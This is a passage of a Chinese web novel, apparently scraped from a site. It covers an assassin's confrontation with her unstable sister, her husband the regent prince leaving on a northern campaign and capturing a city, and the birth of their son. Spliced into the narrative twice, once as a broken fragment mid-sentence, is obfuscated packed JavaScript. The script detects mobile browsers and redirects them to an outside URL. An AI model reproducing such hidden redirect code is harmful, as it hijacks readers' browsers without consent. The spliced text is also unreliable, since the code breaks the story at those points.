不得不感叹,夜色是最好的面具,将屋顶上的黑衣之人所遮掩。王府的暗卫早被被捉住的那五人吸引了主意,无人发觉到瓦顶之上的另一人。 姜夏花蹲了许久,拍拍手,站起身,俯视着归鸿院,面色淡然,眯起眼睛。 她嘴角踌躇,有些发颤,低语道:“真是没想到,姐姐竟为了这个人,背叛我们。那明明,是最爱我的姐姐才对。” 她紧握双拳,衣服上湿答答地滴下鲜血,不知属于谁。紧盯着屋内的季辞,从后腰间抽出带毒暗器。 正当她准备挥手之时,忽然被人从身后一把拉住,她转头一看,立即笑容满面道:“姐姐!你终于来了!” 姜秋叶蹙眉,将她手中的暗器夺走,低声道:“跟我来!” 姜秋叶把她直接拉走,带至城郊一处荒林,再将她用力一甩,踉跄了几步,才终于站稳,可她脸上的笑却一直未消失。 “你想做甚?难不成是言无让你去杀季辞的?” 姜夏花兴奋地摇摇头,道:“没有。他未给我安排任务,只安排了五个铜鬼银鬼前往暗杀,可惜他们都是些废物,全被祁王给捉住了。我想了想,还不如我亲自动手。” 姜秋叶大怒,厉声道:“姜夏花,我不许你动他!” 姜夏花滞在原地,面上笑容完全消失,不可思议尖叫起来:“姐姐!你为了一个男人,连妹妹都不要了吗?” “男人与你有何冲突?你简直就是个疯子!”姜秋叶看着不可理喻的她,头疼地抚额。 “姐姐!”姜夏花忽然情绪转变,开始大哭起来,“姐姐,你是我一个人的姐姐啊!” 姜秋叶无奈闭眼后又睁开,“夏花,我实话跟你说,我爱他,绝不会许你伤他一根头发。若你杀了他,那我便随他而去。” 姜夏花大惊,疯狂地摇着头,颤颤巍巍,一字一句道:“那怎么可以?姐姐,你就算是死,也只能死在我的手中啊。” 面对如此一个妹妹,她实在不知该如何相处。 姜夏花好似及其失望,从怀中套出两把匕首,其中一把扔到姜秋叶脚下,笑道:“那我们便如曾经在飞燕阁那样吧。只是曾经你我相护,如今是厮杀的对手。姐姐,将匕首捡起来。” 她摇摇头,抿唇道:“夏花,你知道,我做不到与你相对。” “若是做不到,那便死在我手中好了。” 她轻飘飘地声音传入姜秋叶耳边,便拔出匕首朝她袭来。姜秋叶用尽全力,才勉强转身躲开,可那匕首却依旧划破了她的脸颊,伤口泛起寒意。 作为同样天鬼的姜夏花,可不如淑妃那般容易对付。她见姜夏花转身再度冲来,便只能无奈捡起地上的匕首,将那朝着他刺来的利器格挡而开。 “姜夏花!你简直疯魔了你!” 姜夏花却不管不顾,在空中一个旋身,再度朝她击来。姜秋叶心中不愿与其战斗,只是一再躲避,却被不断划破了手臂和肩膀。 紧身黑衣让姜夏花打斗便捷,动作更加迅猛,杀招更甚,一个旋身飞踢击中姜秋叶腹部。她退后好几步摔倒至地上,有些痛苦,姜夏花见状接连攻击而来,她猛地翻滚躲开,那匕首刺入泥地之中。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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姜夏花十岁以铜鬼身份回到她身边,便发现,她有着极严重的厌食之症,每日要睡够八个时辰,否则根本无法行动自如。 十多年的痛苦,逐渐磨灭了她的神志,以及她活下去的希望。 此刻,她更加痛恨这飞燕阁,恨不得将其中那些人碎尸万段。 “姐姐,若是给你一个、一个死去的机会,你定然、定然会选择死在那人怀中吧。” 姜秋叶没有说话,只是抱着她定定地哭泣着。 “所以,姐姐,我想死、想死、死在你的怀中,这样,我此生了无遗憾。” “夏花,你莫要胡说,我带你去医馆。”姜秋叶才反应过来一般,试图抱着她起身,却被她紧紧拉住,摇着头。 “姐姐,放我、放过我吧。我死后,将我的骨灰,做成坠子,姐姐、你随身带着,好不好?” 她呆呆看着血流不止的妹妹,沉吟许久后,才答应道:“......好。” 沉默地看着姜夏花手腕失去力气,逐渐笑着闭上了双眼。她哭得上气不接下气,正在此时,林中传来一阵脚步声。 她转头看向朝着自己奔来的季辞,以及一队侍卫,听他似乎在喊着什么,可此刻她却什么都听不见,世界太过寂静,让她感到极致孤单与害怕。 见着他跑近自己,还有一丈的距离,忽然两眼一黑,没了知觉。 103.北伐 第一百零三章 姜秋叶睁开眼睛时,看到的是上方的藕粉帷帐,风从屋外涌入,吹起轻纱悠悠晃荡。 “叶儿,你醒了。” 季辞低沉的声音和佛手柑香刺激着五感,她迟疑了许久,脑海中浮现昏厥前的画面,心痛如绞。 视线移到季辞担忧的面上,她忽然掀被起身,倾身抱住他,手臂勾住他的脖颈,失声痛哭。 他微微一叹,一手扶住她的肩膀,另一手轻轻拍了拍她的背,道:“好了,叶儿乖,不哭了,姜夏花没事儿。” 哭声戛然而止,她松开双手呆滞地看着他,没忍住打了一个哭嗝,面部凌乱地粘着发丝。 她有些不敢置信道:“啊,什么?” “嗯,你没听错。”季辞无奈地将她脸颊上的发拨开,又说了一遍:“你妹妹,姜夏花,她已经无碍,就住在院中的偏房里。太医令看过,那匕首未中要害,伤口也不深,只是失血不少,需卧床静养。如今还在昏睡,但太医令说并无危险,很快便会苏醒。” 她愣在远处,抿唇,有些尴尬地看向季辞,“哦。” 片刻后,终于“噗嗤”一声笑了出来,胡乱擦了一把乱七八糟的脸,低喃道:“那就好。” “傻子。”他戳了戳她额头,“你若出了事,你要为夫怎么办?” 当时他着急忙慌带人奔至林中,见她昏倒,浑身是血,模样如鬼一般,简直让他心梗发作,将他当场吓死。后来太医令说她只些许轻伤,才终于松了气,仅仅片刻,好似重活一番。 看着她的模样,他挑起眉,虽努力克制,可还是勾起了唇角,拳头抵住,忍住痛苦憋笑,浑身抖成了筛子。 姜秋叶呆呆看着他,不明白他笑甚,戳了戳他。 他好不容易终于克制住,当再次重新看向她时又忍不住笑了起来,他憋得实在痛苦,见她又如此单纯无辜,抬头朝着妆奁边的铜镜努了努嘴。 姜秋叶心中来了不好的预感,立刻掀开被褥下床,走至铜镜前一看,里面的模样令她震惊不已。 只见铜镜中的女人,原本抹了脂粉的脸,如今白一块,黑一块,红一块,唇脂晕开,眼皮发黑,额间原本的芙蓉花钿变成了一团红晕。而自己的头发也是乱七八糟,如鸡窝一般。 她被这模样惊吓道,“啊——”得大叫了一声。立刻抬起袖子挡住自己的脸,想找块地将自己埋了去。 见她反应,季辞坐在床上终于咧嘴仰面大笑起来,有些腹痛地倒下。 姜秋叶气急败坏,走回床榻边,用力推了推他,另一只手上的袖子仍挡着自己,大怒:“好你个季辞!你帮我擦了身体,换了衣服,竟不把我脸擦净!” “我、我、我还没、还没来得及。”他捂着肚子,一边笑,一边有些痛苦皱眉。 “我真是看透你了!”姜秋叶上前,用力拍打了一下他屁股,又骑上他的腰间。 季辞觉得自己似乎没了面子,竟被女人打了屁股,装作恼怒道:“大胆!” 姜秋叶见他眼中带笑,知他就是个别扭男人,根本没有真正生气,恶狠狠凶着他:“我看透你了季辞,你就承认吧!你就是想占我便宜,否则怎会单单把我衣服换了,却不净我脸!” 他伸手枕在脑袋下,咧嘴笑着,露出皓齿,道:“夫人,你真冤枉为夫了。不过......” “不过什么?” “不过夫人这副模样,也别有一番风味。” 他眼神暗了暗,看着像极了地府小鬼的小妻子,脑中又冒出了刺激的画面,反手将她压至身下。 她还未反应过来,便听他贱兮兮道:“这位是白无常?还是黑无常?今儿来勾本王的魂来了?” 她一怔,没想到季辞如此重口,对着她这副自己都害怕的模样还能下口。又是在这青天白日之下!白日宣淫! 她就知道! 以前传闻中不近女色的季简兮,实际上心中住了一个小禽兽。 她笑靥如花,眨了眨眼,娇嗔道:“我不是白无常,也不是黑无常,我是阎罗王。想活命?先把我伺候好了再说。” 看着她眼中的光,他以吻封缄,认真地吻过她的花脸,从唇,又转移到耳廓,轻轻咬了咬,惹得身下人一声轻叫。 两人鸳鸯帐中嘻嘻哈哈玩了一整日,直到接近暮色四合,才叫了水,清洗干净,便再也未下过床。许久后,又让人送了膳入寝室,前些时日太过疲惫,忽然歇息下来,竟门都不愿出。 …… 姜夏花醒来时,不敢置信自己竟还活着,摸了摸胸前的伤口,抬起手臂遮住了双眼。 也不知她昏睡了多久,如今已是白日之下,屋内敞亮,床铺柔软,很久没有这种舒适之感。 听见屋外传来银铃般笑声,她一怔,捂着伤口努力坐起身,穿上床边为她准备好的鞋履,走至窗棂前,往屋外看去。 今日阳光明亮,入了夏,天气渐渐闷热,屋外的小院中一棵槐树,四周种植了许多不同的花。 她看到季辞坐在石凳之上,手中拿着一本书在认真看着。姜秋叶怀中抱着一只白猫,她似乎见季辞看书不理会她,便上前将书抽走,把白猫扔到季辞怀中。 两人不知说了甚,季辞立刻蹙眉摇头,可姜秋叶又拉起他的袖子晃荡一番,他便又点头应下。 见状,姜秋叶立刻跑至一旁,摘了许多不同的花,走回他面前,将那花一支一支插在他头上。季辞一脸嫌弃,做完一切后,她便开始前仰后合地大笑起来。季辞虽是面无表情,眼中却带着明显的宠溺。 姜夏花愣在原地,自有记忆起,她似乎是第一见,姐姐竟能如此开怀大笑。 此刻,从来未出现过她身边的两个字,“幸福”,逐渐浮现在她的脑海中。 她垂眸,带着复杂地心情坐回床上,发呆许久。 直到外面声音消失了很久后,偏房的门被推开,她抬头一看,是姜秋叶走了进来,手上还拿着刚才摘下的花。 姜秋叶见到姜夏花醒来,大喜,立即箭步上前,把花放在案几上后,将她搂入怀中抱住。 带着哽咽道:“太好了,夏花,你醒了。” 姜夏花没有说话,也没有回抱,许久后才缓缓道:“为什么?” “什么为什么?”姜秋叶放开她,看着她等她说话。 “姐姐......为什么可以笑得这么开心?我从未见过。”姜夏花手指拧在一起,心中产生了强烈的失落。 “夏花。”姜秋叶收回了脸上的笑容,她很早就想与这个妹妹谈一谈。 见她看过来,姜秋叶带着认真,和声细语道:“夏花,我们命不好,从小对母亲没有记忆,父亲又是赌徒。后来又被卖入飞燕阁中,每日经历生死坎坷。夏花,过去的时日中,你有过某个瞬间,感到快活吗?” “有啊!”姜夏花有些激动,“只要看到姐姐,我就感到快活!姐姐是我这世上最爱的人!” 姜秋叶沉吟许久,道:“但是夏花,我曾经却无一日快活。” 看着姜夏花眼中的破碎之感,虽是不忍,却还是道:“夏花,曾经我也以为,生活便是我们所经历的那样,每日为了活着拼命挣扎。在飞燕阁的一方小小天地间,除了完成任务,便是训练。直到有日,我忽见天地之广,才意识到,我们所生活的那片地,太过渺小。” “最初,我只是想走出那小方天地,去感受感受外面的世界,是如何一番景象。来到盛京,我大部分时日都很快活。我知道了什么是真正的家,真正的依靠,真正的爱。” “夏花,我承认,我很爱季辞,可我又何尝不爱你呢?我们是亲姐妹,一路同生共死而来。”她伸手握紧了姜夏花的手,“夏花,姐姐以后,不会阻止你做任何事。无论自杀也罢,还是杀了季辞。可是你先给自己,给我们一个机会,感受过我所说的快活,再做决定好吗?” 思索一番后,她又立即补充道:“不过我丑话先说在前头,你若真的去杀了季辞,我定然会随他而去!还会将他藏起来,让你一辈子都找不到我们的尸体!” “姐姐!”姜夏花有些不可置信,摇了摇头。 姜秋叶抿唇,若她真要杀季辞,她定然会阻止。只是对疯子说话,还是得用疯子的行为逻辑。 “夏花,所以,你愿意给我们,给你自己这个机会吗?” 姜夏花躲开她的视线,凝思良久后,刚才透过窗看到的画面又划过脑海,最后看回姜秋叶的双眼,点了点头。 …… 姜夏花身体一直不好,除了姜秋叶每日为她亲做药膳外,季辞也让人为她调理身体。 原以为长年累月的实验,这辈子或许真与健康无缘。却未想到,那裴栀却提出了以蛊养身的方式,道若是能去最南部的一处山谷中,再加上他的蛊术,未来有七成治愈的可能。 姜秋叶听闻后惊喜,却心中不安。毕竟曾经深受蛊毒之害,对于以此治病一事,也是半信半疑。 姜夏花却未过多思索,主动提出要去那南部山谷。姜秋叶见她决绝模样,知道她对自己与季辞之事虽依旧难以想通,可至少愿意为了自己主动迈步,重新寻那希冀。 这样也好,会慢慢好起来的,只是需要时间罢了。 送走姜夏花,斐栀也随她同去南部。后来又无意间听闻,或许是言无那日直接击杀母蛊的原因,那母蛊一死,随着它的子蛊也全部消散,槿红也因此解了蛊。 运气算是不错,可人却悄 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“曾经战乱之时,每每入冬,前线附近尽是受灾荒与战乱之苦的百姓。那些我年少时经历过,虽战争导致的这些痛苦避无可避,可为夫身为大晋摄政祁王,亲赴战场,鼓舞士气,尽可能在冬日前拿下凉州五城,加快北伐进程,减轻灾祸,这是为夫的职责,也是为夫所希望的。” 他说完,又亲了亲她的额头道:“为夫明日便要出征,这样你也要和为夫生气吗?” 姜秋叶听闻后身体松了下来,转过身与他面对面坐着,红着眼睛,声音颤抖:“夫君,叶儿只是......只是舍不得你罢了。北伐乃大战,你这一走定然是数年,不知何时才归。再加上战场险峻,若是你出了事,你要叶儿怎么办?” 季辞叹息,揉了揉她的眼尾,道:“等到了那边,我只要一有空,便给你写信好吗?况且,我以前不也是多年征战,如今我还有了你,有了我们的家,更是会万分小心。” 而后他又从腰间摸出自己的私印,放到她手中,道:“我将天去留在此地护你,以及盛京所有暗卫,府兵,还有我手下一支军队,全部听你调令。这样无论发生何事,你都能保护好自己。” 姜秋叶低头看着这私印,紧紧握住,心中难免动容,“天去武功高强,让他跟在你身边吧。我再怎么说,曾经也是天鬼级别的杀手,怎会护不好自己?” “乖,听话,难道你要让为夫上了战场,还担心你在盛京的安危吗?” 姜秋叶听他这样说,便只能点头应下。知他打定了主意便不会更改,在这大事上,一开始便无法阻止。 她只是,想对他耍耍小性子,让他哄她罢了。 “夫君,那你要答应叶儿,一定!一定!要平安归来。” “好,我答应你,我发誓,一定平安归来。” 他伸手将她揽过,轻轻一吻,心中同样万分不舍。 而夜色还很长,似乎又太短,鸳鸯帐外,偶尔听见几声蝉鸣。 翌日卯时初,天还未亮,季辞便起了身,姜秋叶虽困倦,却也撑着爬起来为他送战。屋外城中已经传来了号角声。她亲手将战甲为他穿上,扣上排扣,披上暗红披风。 这是她第一次见到他穿战甲地模样,若说平日他风光霁月,此时便是铮铮铁骨。她看着他俊美的脸,想要将其牢牢记住。 他揽过她深深一吻,迟迟不愿分开,直到天去将房门敲响,道:“王爷,点兵已毕。” 听见声音后,他才意犹未尽地将她放开,拿过案几上的铁胄和宝剑,定定看了她最后一眼,而后转身出门。 姜秋叶不能在城门口送战,却去了城墙之上。 高墙风大,将她披在身后的青丝和身上的藕粉罗裙吹起,她看着下方火把明亮,随着号角长鸣,众将士整齐划一地大喊着:“必胜!必胜!必胜!” 此番浩荡场面,激起了她心中一腔热血。 天去与明月跟在姜秋叶身后。 看着她面上掩盖不住的担忧,天去上前安慰道:“王妃不用太过担心,王爷用兵如神,向来百战百胜,定会很快得胜而归!” “嗯。” 姜秋叶勉强地勾了勾唇,眼睛定定地看着远处难以看清的暗红身影,隐忍着快要溢出的泪,忽然似是心中感应一般,虽看不清,可好似季辞转身看向了城墙之上。 姜秋叶立刻抬手用力挥了挥,强忍着心痛,脸上带着笑容送别她的简兮哥哥。 此次一共三十万士兵出征,直到看不见一人,她也依旧站在城墙上,看着北方天际。风一直很大,天去和明月也安静地陪在她身后,直至夕阳西下,余晖洒落。 她忽然轻声低喃道:“战必胜!” 104.有孕 第一百零四章 自季辞走后,姜秋叶的生活单调下来。她开始每日读佛经,抄经书,隔几日便去菩恩寺中上香参佛,在寺中听方丈讲经,吃顿斋饭。 在季辞离开后的一个月,她终于收到了他的来信,算上信使奔走时日,应是一周半前所写。 至爱吾妻叶儿: 见字如面,展信舒颜。 兵至淮西,休整备行。今日天晴气爽,行路一切顺利。见曾经淮西宅院,忆起往昔掠买案一行。先忘忧楼处,现成客栈。 久日不见,思卿甚甚。尤见山川河流,路过蛮儿丘,花海正盛,惜卿不能与吾同观。日月相望,总忆起与卿初见,火光下,卿容颜娇美,堪比万花。 往日总念卿读圣贤之书,然,卿不知,卿之所爱,虽庸,虽俗,卿却得吾心之甚。人间三餐烟火,得卿如此,吾心甚安。 愿顺遂,心念。 夫简兮 姜秋叶将信来来去去看了七八遍后,带着笑放至胸口,哭笑不得。 这个季简兮,说他不会说话呢,甜言蜜语竟如此之多。说他会说话呢,竟说自己庸俗。 她甜笑着摇摇头,想到信使还在屋外等候,思索一番,便立刻写下回信。 信中除了对他的思念,还洋洋洒洒写了许多日常闲杂之事。比如贱贱又胖了,昨日还撞翻了一只花瓶。比如去菩恩寺听经的感悟。比如邱颖生下了一大胖小子,她亲眼去瞧过,软软嫩嫩,可爱至极。 如今祁王府只剩下姜秋叶一个主子,下人们也清闲起来。她虽担忧前线军情,却也不敢表露任何。 每隔半月,便会有一封来自季辞的书信,向她讲述军情,天气,伙食。每一次,她也都会准备一包龙须糖,同回信一同交给信使。 安阳离和亲出嫁还有两月有余,她似乎心事重重起来,每隔两日,便要在公主府中大摆宴席。姜秋叶去了几次,虽安阳道什么都好,可她却看出来,安阳在恐惧和亲。 出征三月后,是日,安阳又一次邀约姜秋叶去往公主府中,看着安阳大口喝酒,她心中担忧,道:“酗酒伤身,少喝些。” 安阳酒量不错,并不容易醉,只是给姜秋叶面前的酒盏中斟上,笑道:“皇婶,酒解千愁,你不担忧皇叔吗?喝几杯吧。” 她看着面前的清酒,想起曾经喝醉后的丑态,摇了摇头,道:“我不爱喝酒,酒量也不好。况且......我相信你皇叔,定会尽快得胜而归。” “你心态放得可真好。”安阳笑了笑。 姜秋叶有些心虚地躲开她视线,眼神暗了暗。她面上虽不显山露水,可只有自己知道,每夜入眠困难。 平日里太过思念,只能将曾经的信拿出来,一封封看过,缓解忧愁。 此时府中伶人开始奏乐,一道道珍馐美食被端了上来,安阳不停地喝着酒,放声大笑,后又叫了两个伶人坐到自己身侧,与他们孟浪嬉闹。 姜秋叶低头看着眼前的蒂花汤,忽然一股浓郁的味道扑鼻而来,怪异的反胃感涌出,她捂着嘴在一旁不受控制地干呕起来。 安阳见状吓了一跳,手上的酒盏落地,立刻上前拍着她的背,问道:“皇婶?你怎么了?不会生病了吧。” “我没事。”姜秋叶难受得涌出了一些泪水,看着安阳刚说完,竟直接低头吐了出来。 安阳和在场之人大惊失色,她立刻朝着婢女大喊:“快!快去宫中请太医来!” “是,长公主。” 姜秋叶吐到脸色惨白,浑身发虚,明月眼神转了转,却没多嘴,同安阳一起将她扶至偏房床榻。 她看着安阳害怕的样子,笑着安慰道:“安阳,我没事儿,应该就是吃坏了肚子,不用麻烦太医了。” “那怎么行?” 明月见状上前附和道:“是啊王妃,还是让太医来看看,安心些。” 姜秋叶见她们如此固执,便退了步。 她如今是摄政王王妃,太医院极其看中她的身份,听闻身体不适,太医令半个时辰没用,就到了公主府。 安阳一脸严肃地看着太医令诊脉,姜秋叶无奈摇头,试图用眼神安慰她。 片刻后,太医令忽然起身,朝着她拱手行礼,喜笑颜开道:“恭喜王妃,贺喜王妃,王妃这是喜脉啊,如今胎儿已有三月。” 姜秋叶脑袋“哄”得一声,愣在原地,瞪着眼睛,以为自己听错,直到安阳“啊”一声尖叫,笑着摇了摇她肩膀。 “皇婶!你有喜了!太好了,这样的大喜事得赶快写信,告知我皇叔啊!” 姜秋叶过了好半会儿才反应过来,脸上浮现笑容,“真的吗?太医令大人。” “自然是真,老臣诊断喜脉从未出错。”他笑道。 一旁的明月也兴奋起来,没想到自己的猜测成了真,“难怪,王妃会忽然干呕,而且这三个月都未来月事。” 此番一提,姜秋叶才意识到,自己竟如此大意,无丝毫察觉。安阳则是在一旁暗自庆幸,还好她在宴会中未曾饮酒。 太医令走后,姜秋叶忽视一旁两人的尖叫与手舞足蹈,她轻轻将手放在自己的小腹之上,微微一笑。 三个月,那想来定是季辞临走前那一晚。这种即将做母亲的感觉太过神奇,让她心软。 只是想到曾经犯下的罪孽,会不会转嫁到孩儿身上,便又多了些焦虑。 回到祁王府后的第一件事,便是将这喜事写在信中,让信使将消息送去前线凉州。而后又将消息派人送去了太皇太后的安和园。 很快赵氏便派人来了祁王府,给姜秋叶赏了不少好东西,并让她多到安和园走动。此邀请,姜秋叶自是欣然应下。 …… 如今九月入秋,随着季辞犀利的战术,很快便攻下凉州三城,却又停滞于襄城之前。 按照他们的计划,必须在入冬前将凉州剩余城池全部拿下。 周成虎再次带一万兵马直接进攻襄城,哪知对方竟有一黑脸猛将,名曰赵啸,凶猛异常,一人单挑二十余骑兵不在话下,周成虎被其从身后偷袭,因此战重伤,只得退回军营休养。 躺在床上脸色苍白,还依旧暴怒,几个士卒都压制不住,他大声吼道:“莫要拦着老子!赵啸小儿,老子要斩了他!” “够了!”季辞走入营中,制止并拍了拍他的肩膀道:“你如今重伤成这副模样,还去挑衅,岂不是找死。” “那骊军个个缩头王八!躲在襄城中不出,出来叫那赵啸偷袭老子后,又躲了回去。此等大辱,我若不报!名字倒过来写!” 周成虎用力过猛,又撕扯了伤口,骂完后便坐回床上,重重喘气。 季辞蹙眉道:“襄城固若金汤,强攻虽能攻下,却太过耗费我方兵力。你莫要冲动,再说,兵不厌诈,战场之上因对方冲昏头,乃是兵家大忌。还好如今你没事,否则我大晋再损失一猛将,之后征战又该如何?” “是!王爷。”周成虎重重叹息,终于冷静下来。 季辞让军队先行整顿休养几日,并派出了两名斥候,去打探赵啸此人,任何关于他的事都可。 两日后,斥候回禀,赵啸勇猛异常,力大无穷,出生农家,却刚愎自负。曾经因被人挑衅,将那人打死,被关了许多年。后来因着战事所需,被上面看中他实力,便将此人收入作前锋将军征战。 赵啸果然不负他们所托,每战只要有他,对方必定伤亡惨重,无人可近身。 听闻后,季辞冷笑一番,在当夜,派出周成虎到襄城下。 他重伤未愈,骑马靠近,大声叫嚣道:“赵啸小儿,你就是个孬种!你爷爷的!有本事出来与老子对峙,莫要当那缩头龟,让人笑掉大牙。” 一番大吼刺激后,赵啸却未出现。 周成虎见状直接下马上前,竟脱下裤子,直接在襄城下方尿了一泡,仰面大笑,趾高气昂道:“赵啸!你还不如老子的一泡尿有胆量!有胆子,出来单挑!” 正在此时,襄城门忽开,那黑脸赵啸大吼着冲了出来,速度之快,周成虎还未来得及上马,对方便提刀朝他挥劈。 正在此千钧一发之际,一支利箭从远处黑夜中飞射而来,竟直接穿透赵啸脖颈,他震住落马,又被受了惊的马蹄重重踏上一脚,直接当场殒命。 而后被夜色所遮挡的晋军忽然从四 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13123197|128729||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 周灌木丛中闪现,皆大吼着冲上前,个个面带杀意与坚定。襄城大门还未来得及关,骊军被打了个措手不及,着急忙慌关门,在士兵冲至门前才险险合上。 季辞收回手中重弓,从腰间抽剑,大吼一声:“冲——” 他亲自带着第二队人马,纵马上前,登上云梯,躲过滚落的巨石后登顶。 此战一直持续到黎明才终于结束,晋军成功攻破襄城,虽也有不少伤亡,可骊军猛将赵啸被一箭射死,少了这心腹大患,顿时军心大振。 入襄城后,百姓皆躲避于屋中不敢外出,晋军在季辞统领下,军纪严明,不得扰民。众人直接入主襄城官府。 整个周边清理一直持续了一日,季辞才终于结束襄城城中安置管辖等问题。 夜半三更,终于得以休息整顿,正在他随意洗过一把脸后,忽有信使从盛京带信而来,知晓是自家小妻子的信,便立刻让人将信拿进。心怀激动,颤颤巍巍将竹筒打开,展信一阅后,瞬间被雷劈了一般愣在原地。 她竟然有孕了? 她竟然有孕了!!! 他站在原地许久后,再次读信确认了一番,没想到竟是真的,她真的有了他们的孩儿。 他大喜过望,笑了出来。可忽然又愁眉不展,在此关键时期,他不在盛京,而她又有了身孕。 不知她一人可会慌张,万一下人照顾不好怎么办? 他只觉血液冲上天灵盖,两眼发晕,他想要立刻纵马飞奔回盛京,可如今战事却由不得他乱来。 在衙中来回踱步许久,终是愁眉不展。 一边是对于此事的惊喜,一边是对她身体的担忧。 最后他立刻拿来纸张,修书几封。一封给他的小妻子。一封给太医令。一封给太皇太后,请求照看于她。一封给安阳,警告她不要整日带着她瞎玩儿犯浑。还有好几封,给朝臣的,给少帝的。 将一大摞信交予信使,再三叮嘱后才稍微放下了心。 本是疲惫万分,可此刻他心中万分雀跃,想要与人分享。 于是他咧嘴带笑走出衙门,看着守在门口的士兵朝自己行礼,他拍了拍那人肩膀,道:“这两日干得不错,对了,告诉你个好消息,本王要当爹了。” “啊,那真是恭喜王爷!”士兵甲笑了笑,似乎同样大喜,又抬手挠挠头。 季辞没再继续看他,往周成虎那边而去,逢人便说:“今日有大喜,可知是何大喜?” 士兵乙不明所以,问道:“攻下了襄城?” “非也,本王要当爹了。” 说完便大笑着离开,他见又一士兵站在不远处值守,立刻朝他走过去。士兵丙见状惊慌行礼。 季辞摆摆手,道:“听闻你刚新婚不久,却出来征战,辛苦了。” 士兵丙受宠若惊道:“跟着王爷,是荣耀,男儿保家卫国,不苦!” “嗯,你有子嗣否?”他摸着下巴点了点头。 “新婚不过数月,未有。” “嗯,这样,有个消息告知你,本王要当爹了。”他又忍不住咧嘴笑起来。 士兵丙一怔,干笑着点头,“那......那真是恭喜王爷!” 他不再多说闲话,直接寻到周成虎大谈特谈自家内子有喜之事。从猜测孩儿性别,到给孩儿取名,又问他这孕妇怀孕期间,需要注意何。 此番闲聊,竟又到了清晨,两人彻夜未眠。 第二日,周成虎两眼乌青,虽嘴上未说,却觉得祁王是不是有病! 他孤家寡人,未婚,怎知孕妇孕期之事。打战本就好几日没睡,再加上受过重伤,如今终于安顿一会儿,竟还不让他好好休息。 季辞却兴奋到未注意到他越发黑下去的脸,自己反而精神抖擞,能再战三晚。他满脸喜庆,走出营帐,看着盛京方向,思念太甚。 过了这劲儿后,心中又被内疚所占据。 北伐一行,需数年,如此看来,便是连她生产之日,都无法回去。 他闭了闭眼,心道:叶儿,为夫一定尽快结束战争!等着,等为夫攻下乾阳,彻底毁去残存的飞燕阁余部,以此作礼,赠予你们。 105.战报 第一百零五章 入冬前,晋军按照计划,顺利攻占凉州,一封封捷报传回盛京,众人大喜。街道上都是谈论祁王英勇之姿的民众。 而入冬后,随着粮草供应越来越难,北伐进程缓慢下来。 季辞只要不在打仗时便要写信回盛京祁王府,向她说明战况,安抚她心。甚至直接一封信,让太医令带着女医和产婆住进王府。每次出门,都在他严令要求下,浩浩荡荡跟了一大批人,丫鬟,侍卫。 此番操作实在让众人哭笑不得,姜秋叶心中却越是甜蜜。 她时常去往安和园陪伴赵氏,与赵氏共同听经参佛,每抄好一卷经书,便让人给赵氏送去。 冬日,因着边境战事,不少逃难之人涌来盛京城外。 姜秋叶向唐太傅提议,在城外设置难民营帐,还带领了宫中女眷,将过时的衣物,以及旧日被褥等全部捐出。后又带人亲自至城门施粥布膳。 虽她无法上战场,同季辞并肩作战,可也想尽一份绵薄之力,让他在前线能够心无旁骛杀敌。 王妃仁善之举传遍全城,对她皆是赞叹。她听闻后却是心虚,她此番行事,并非真正心地善良,而是为了季辞一人。 她说过,她知自己自私,只是一井底之蛙,从来不愿管束他人死活。 她心中装不下大义,可却装满了一人。 那一人心中有大义,她便跟随他的身后,做他想做之事,理解他,成为他。 她体质一向很好,除了那一个月孕吐有些严重,后来都无甚其他反应。尽管腹中孩儿喜欢闹腾,可她自己每日到处走动,也不在话下,反倒是明月担忧不已。 次年四月孟夏,离产期还有两月,她肚子更是大了起来,看似行动不便,可她却是毫无反应般,每日依旧上蹿下跳。太皇太后见管不住她,直接修书一封告到了季辞面前。 季辞心中焦急,又立刻写信,让自家小妻子莫要再出门,待在家中安心待产。信中字字句句皆是不安,洋洋洒洒竟写满了五页。 姜秋叶无奈,心觉他实在有些过分担忧,不过想到他打仗需无后顾之忧,便回信应了下来,让他心安。 那之后,便未再出过王府。 到了六月,晋军在季辞的带领下,分开五路兵马,分别攻陷邺州,幽州,安州等地。 攻下邺州那日,也正是姜秋叶生产之日,太皇太后赶来王府中等待。这生产比她想象中痛很多,可与曾经言无的手段对比起来,好像还行。 倒是产婆急坏了脑袋,整整一夜过去,孩儿才呱呱坠地,她也是累至虚脱。在结束的那一刻,不知为何,心中忽然产生了强烈的失落。 产婆出了寝室,看着早已满头白发的赵氏,大喜道:“禀太皇太后,祁王妃诞下一男,母子平安!” “好!好!”赵氏大喜过望,立刻派人上报宫中,准备即日祭告祖宗。 姜秋叶虚弱地喘息着,浑身水浸过一般湿了透顶。 她转头看着躺在自己身旁的孩儿,安静地咂着嘴巴。却没想到,儿子比她想象中丑很多,她顿时眼眶红了起来。明明她与季辞都是如此俊美之人,为何儿子却是这副黑乎乎,皱巴巴的模样。 可片刻后,看着这从自己身上掉下来的小团子,她心中是从未有过的柔软,伸出手拨了拨他头顶的细发,很快便又想通。 没关系,再丑也是自己的孩儿,是大晋摄政祁王的嫡长子,未来定然衣食无忧,一生顺遂。虽然丑吧,但以他这家世,不用愁娶不到媳妇儿。 她看着在一旁收拾,进进出出的下人,还有拧帕子的明月,却忽然间孤单至极。可惜,她最思念之人并不在这里。 季辞在书信中曾取过好几个名字,最终,他们定下来为宏,季宏。 胸有宏远,海纳百川。 而赵氏为他想了个表字,为允和。 赵氏入室内同姜秋叶一起逗弄了一番,又听她抱怨自己儿子长得丑,满面愁容。赵氏瞠目结舌后,又仰面大笑,安慰她道刚出生的小孩都这样,长开就好。 听此话后,她终于松了口气,喜上眉梢。 